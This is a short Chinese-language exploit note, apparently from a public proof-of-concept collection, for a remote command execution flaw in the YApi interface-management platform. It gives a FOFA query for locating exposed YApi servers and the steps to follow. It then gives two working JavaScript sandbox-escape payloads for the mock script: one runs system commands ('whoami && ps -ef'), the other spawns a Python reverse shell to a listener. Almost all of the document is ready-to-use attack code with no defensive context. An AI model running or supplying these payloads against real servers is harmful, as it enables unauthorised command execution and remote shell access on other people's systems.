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55 lines
1.8 KiB
Markdown
55 lines
1.8 KiB
Markdown
# Yapi存在远程命令执行漏洞
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Yapi存在远程命令执行漏洞
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## fofa
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```javascript
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app="YApi"
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```
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## poc
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注册账号登录
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新建项目
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添加接口
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```java
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const sandbox = this
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const ObjectConstructor = this.constructor
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const FunctionConstructor = ObjectConstructor.constructor
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const myfun = FunctionConstructor('return process')
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const process = myfun()
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mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
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```
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反弹shell
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```java
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const sandbox = this
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const ObjectConstructor = this.constructor
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const FunctionConstructor = ObjectConstructor.constructor
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const myfun = FunctionConstructor('return process')
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const process = myfun()
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Poc = process.mainModule.require("child_process").spawnSync(
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'python', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6699));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']
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)
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```
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